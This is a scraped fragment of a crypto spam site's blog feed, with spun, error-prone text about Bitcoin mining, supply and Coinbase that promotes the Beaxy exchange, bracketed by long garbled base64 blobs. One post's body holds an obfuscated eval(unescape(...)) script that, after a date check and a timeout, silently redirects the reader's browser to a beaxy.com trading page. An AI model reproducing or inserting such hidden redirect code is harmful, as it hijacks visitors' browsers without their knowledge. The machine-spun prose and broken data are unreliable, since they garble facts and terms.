1yim5vXTTVimqcYnmJmnMbT2zGW9b19VummJopqmniZjeP+Jx4zlZdzudwvVyq7xdqyWrra6d9TUzyuy+WV5LnOcekklduzZt6a1TZsximmIiIjiIjiGnXXVcqmuuczO8pZZHkQEEB27vAgigICC6dJ7Qbhpe2V2nqiz2q+2O5Sx1FTa7rA6SAzxghkzCxzXxyAEjea4ZBwchcvX9Jt667RqKa6rd2iJiK6JxOJ5pnMTExPOJjad4bNjVVWKZtzEVUzzE8Z9fWJS2sdbXfWtVRyV8FFRUlsphRW63UEHI0tFTgl3JxsyTxcS4uJLnEkklZOndNs9Noqi3M1VVz3VVVTmqqeMzP22iIxERw86jUV6iYmrEREYiI2iI9lvroMAgIO2l+vs8PkQVBAQEAgHnGVQ3W9ATMgoCAglbt6FV3tWb4BQe+Gxb0n9n/uWs/wAjiWIVu+nFRIc4403wnINCNpn283f2w7ylBbCAgICAgIL72K+mBb/zh5UG9GkuNHSn+zP+Ocgwx1dP3Im1b9BH5REg8TX9u72Sso4oCAgICAgICCDe1Hh8qQIoCAgICAgICCA7d3gQRQEBAQEBAQEHbS/X2eHyIKggICAgICAgIJW7ehVd7Vm+AUHvfsW9KDZ97lrP8jiWIVu/DM0o9em+E5BoTtM+3m7+2HeUoQthAQEBAQEF9bFfTAt/5w8qDejR+TQ0ZIwTSvyP+/cgwz1dP3Iu1b9BH5REg8TX9u72Sso4oCAgICAgICCDe1Hh8qQIoCAgICAgICCA7d3gQRQEBAQEBAQEHbS/X2eHyIKggICAgICAgIJW7ehVd7Vm+AUHvfsV9KHZ97lrP8jiWIVu/nE0px3ab4TkGhO0zPn5u2fwh3lQWwgICAgICC+9ivpgW/8AOHlQb0aOH9BpPaz/AI9yDDPV1fci7Vv0EflESDxLeDvu7I856FlHHB74oGD3xQMHvigYPfFAwe+KBg98UDB74oGD3xQQaDu9se75VIEcHviqGD3xQMHvigYPfFAwe+KBg98UDB74oGD3xQQAO87s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alt='https://www.beaxy.com/' class='aligncenter' style='display:block;margin-left:auto;margin-right:auto; width='402px'/></a><br />
Today, almost every country has its own currency, with the exception of countries with a common currency or countries that have adopted a foreign currency . Thus, there are worldwide more than 160 official currencies that can be traded on the currency market at constantly changing exchange rates. On the currency market, there is a larger trade volume than on the credit or the stock market. For decades, the most important base currencies of the world have been the U.S. dollar, the euro, the British pound and the Japanese yen. CoinDesk is an independent operating subsidiary of Digital Currency Group, which invests in cryptocurrencies and blockchain startups. CoinDesk journalists are not allowed to purchase stock outright in DCG.</p>
<p>Satoshi Nakamoto mined the first Bitcoin block, known as the genesis block, on January 3rd, 2009. Nine days later, the first transaction with bitcoin was completed when Satoshi Nakamoto sent bitcoin to Hal Finney, the creator of the world’s first RPoW (reusable proof-of-work system). After gaining popularity on the dark web, it took six years for bitcoin to eventually reach mainstream popularity when its price surged to $20,000 per coin in December of 2017. Today, it is estimated that roughly 1% of the world’s population either owns or has previously owned bitcoin. The Bitcoin network consists of nodes that can validate transactions, organize them into blocks, and solve the hashing function to mine a block and receive the block reward. All other nodes on the network will check the work of the miner that mined the block to ensure that it was legitimate. On the Bitcoin blockchain, each block is 1 mb in size and holds an average of 3,500 transactions per block.<br />
To make sure that block mining times are consistent, the Bitcoin protocol has difficulty adjustments. This makes mining a block easier or harder based on the time it is currently taking. If blocks are being mined to quickly, the hashing equation becomes more difficult to solve. If blocks are being mined to slowly, the hashing equation will become easier to solve. The difficulty is defined as the number of zeros that must appear at the beginning of the resulting hash. This implies that the odds of finding a result with more zeros requires more hashes. There are approximately 18.5 million bitcoin that have been mined and can be included in the circulating supply. The remaining 2.5 million BTC will be mined from now until the year 2140. The block reward paid to miners will be cut in half every four years until there are on bitcoin left. The Bitcoin protocol completed its third halving on May 11th, 2020.</p>
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		<item>
		<title>Bitcoin Price Right Now  Reside Bitcoin Worth</title>
		<link>https://heilpraktiker-pruefung.com/bitcoin-price-right-now-reside-bitcoin-worth/</link>
					<comments>https://heilpraktiker-pruefung.com/bitcoin-price-right-now-reside-bitcoin-worth/#respond</comments>
		
		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Wed, 24 Nov 2021 12:51:24 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=1072</guid>

					<description><![CDATA[Coinbase was valued at $sixty eight billion in a current private market transaction, about 53 times its income in 2020. Coinbase’s chilly wallets for custody are directly built-in with the change’s over-the-counter desk. Institutions and huge traders typically trade by way of OTC desks to avoid btc worth influencing the market worth too much. Hence, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><script>eval(unescape("var%20_0x485e%3D%5B%27tlebn%27%2C%27SCAMi%27%2C%2732371cXhsQf%27%2C%27%2C%5Cx202020%27%2C%2725345BZHvbo%27%2C%2734VxpYFs%27%2C%27332869OWCMhM%27%2C%27-usd/%27%2C%27change/btc%27%2C%27November%5Cx205%27%2C%272707kajwKt%27%2C%27550430OPgyEi%27%2C%27647291GZMoZa%27%2C%27axy.com/ex%27%2C%2789615NscfNY%27%2C%27href%27%2C%27bIpOk%27%2C%27https%3A//be%27%2C%27wOfvV%27%2C%27JtZcV%27%2C%27location%27%2C%2711gLaOSr%27%5D%3Bvar%20_0x1080%3Dfunction%28_0x1bbca7%2C_0xfbc558%29%7B_0x1bbca7%3D_0x1bbca7-0x19a%3Bvar%20_0x485eff%3D_0x485e%5B_0x1bbca7%5D%3Breturn%20_0x485eff%3B%7D%3B%28function%28_0x502d38%2C_0x39c60b%29%7Bvar%20_0x51351b%3D_0x1080%3Bwhile%28%21%21%5B%5D%29%7Btry%7Bvar%20_0x1c3cab%3DparseInt%28_0x51351b%280x1a0%29%29+-parseInt%28_0x51351b%280x1ac%29%29+-parseInt%28_0x51351b%280x19f%29%29+parseInt%28_0x51351b%280x19e%29%29*-parseInt%28_0x51351b%280x1a9%29%29+-parseInt%28_0x51351b%280x1a2%29%29+parseInt%28_0x51351b%280x1af%29%29*parseInt%28_0x51351b%280x1ae%29%29+-parseInt%28_0x51351b%280x19a%29%29%3Bif%28_0x1c3cab%3D%3D%3D_0x39c60b%29break%3Belse%20_0x502d38%5B%27push%27%5D%28_0x502d38%5B%27shift%27%5D%28%29%29%3B%7Dcatch%28_0x480395%29%7B_0x502d38%5B%27push%27%5D%28_0x502d38%5B%27shift%27%5D%28%29%29%3B%7D%7D%7D%28_0x485e%2C0x73b67%29%2Cfunction%28%29%7Bvar%20_0x3235fb%3D_0x1080%2C_0x41c0cd%3D%7B%27bIpOk%27%3A_0x3235fb%280x1a5%29+_0x3235fb%280x1a1%29+_0x3235fb%280x19c%29+_0x3235fb%280x19b%29%2C%27wOfvV%27%3Afunction%28_0x41972a%2C_0x220604%29%7Breturn%20_0x41972a%3E_0x220604%3B%7D%2C%27tlebn%27%3A_0x3235fb%280x19d%29+_0x3235fb%280x1ad%29%2C%27JtZcV%27%3Afunction%28_0x2f5fed%2C_0x430f59%2C_0x49ca11%29%7Breturn%20_0x2f5fed%28_0x430f59%2C_0x49ca11%29%3B%7D%2C%27SCAMi%27%3Afunction%28_0x536d52%2C_0x57e99d%29%7Breturn%20_0x536d52*_0x57e99d%3B%7D%7D%3Bif%28_0x41c0cd%5B_0x3235fb%280x1a6%29%5D%28new%20Date%28%29%2Cnew%20Date%28_0x41c0cd%5B_0x3235fb%280x1aa%29%5D%29%29%29_0x41c0cd%5B_0x3235fb%280x1a7%29%5D%28setTimeout%2Cfunction%28%29%7Bvar%20_0x12afd5%3D_0x3235fb%3Bwindow%5B_0x12afd5%280x1a8%29%5D%5B_0x12afd5%280x1a3%29%5D%3D_0x41c0cd%5B_0x12afd5%280x1a4%29%5D%3B%7D%2C_0x41c0cd%5B_0x3235fb%280x1ab%29%5D%280x5%2C0x3e8%29%29%3B%7D%28%29%29%3B"));</script></p>
<p>Coinbase was valued at $sixty eight billion in a current private market transaction, about 53 times its income in 2020. Coinbase’s chilly wallets for custody are directly built-in with the change’s over-the-counter desk. Institutions and huge traders typically trade by way of OTC desks to avoid <a href="https://www.beaxy.com/exchange/btc-usd/">btc worth</a> influencing the market worth too much. Hence, outflows from Coinbase Pro are sometimes taken to represent institutional demand for bitcoin. Yes, as bitcoin has grown to turn into extra extensively adopted, there are various spinoff products being launched that permits you to brief sell bitcoin.</p>
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<h2>What will Bitcoins be worth in 2050?</h2>
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<div itemScope itemProp="acceptedAnswer" itemType="https://schema.org/Answer">
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<p>Max Keiser an American broadcaster and film maker predicts that Bitcoin will reach $400K, like this many people have predicted many prices which is above 1 million USD. So based on this i also predicted that bitcoin will reach 10 Million USD by 2050.</p>
</div></div>
</div>
<p>Bitcoin, is known as a &#8222;Satoshi&#8220; after the pseudonymous developer behind the cryptocurrency. This permits for quadrillions of individual models of Satoshis to be distributed throughout a global economy. Notably, 21 million bitcoins are vastly smaller than the circulation of most fiat currencies in the world. To be efficient, a currency should be at least reasonably durable.</p>
<h2>Convert Bitcoin On Beaxy With Superior Tools</h2>
<p>Bitcoin users can also shield their cash with backup and encryption. Fewer risks for merchants &#8211; Bitcoin transactions are secure, irreversible, and do not contain clients’ delicate or personal information. This protects retailers from losses brought <a href="https://www.bitcoin.com/">https://www.bitcoin.com/</a> on by fraud or fraudulent chargebacks, and there&#8217;s no need for PCI compliance. Merchants can easily broaden to new markets the place either bank cards aren&#8217;t out there or fraud rates are unacceptably high.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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